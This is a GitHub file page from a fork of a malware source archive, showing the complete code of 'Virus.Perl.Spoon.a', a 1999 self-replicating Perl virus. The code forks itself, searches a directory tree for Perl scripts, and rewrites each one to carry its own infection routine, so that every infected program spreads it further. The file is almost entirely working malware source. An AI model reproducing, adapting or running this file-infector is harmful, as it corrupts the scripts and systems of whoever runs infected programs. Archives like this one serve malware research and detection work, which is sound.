forked from vxunderground/MalwareSourceCode
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Virus.Perl.Spoon.a
43 lines (39 loc) · 1.08 KB
/
Virus.Perl.Spoon.a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
use File::Find;
&virus();
print "\nThis program is infected by the Perl virus\n\n";
sub virus
{
my ( $pid, $new );
if( $pid = fork ) { return; }
else
{
open( source, $0 );
finddepth ( \&infect, '/home/chris/test' );
sub infect
{
open target, "$File::Find::name";
$_ = <target>;
if ( /(\#!.*perl)/ )
{
$_ = <target>;
if( $_ ne "use File::Find;\n" )
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
while( <target> ) { $new = $new . $_; }
seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { };
$new = $new . "\nsub virus\n";
while( <source> ) { $new = $new . $_; }
close target;
open target, ">$File::Find::name";
print target $new;
}
}
close( target );
}
close( source );
exit( 0 );
}
}
# a Perl virus, by paddingx
# 08/15/1999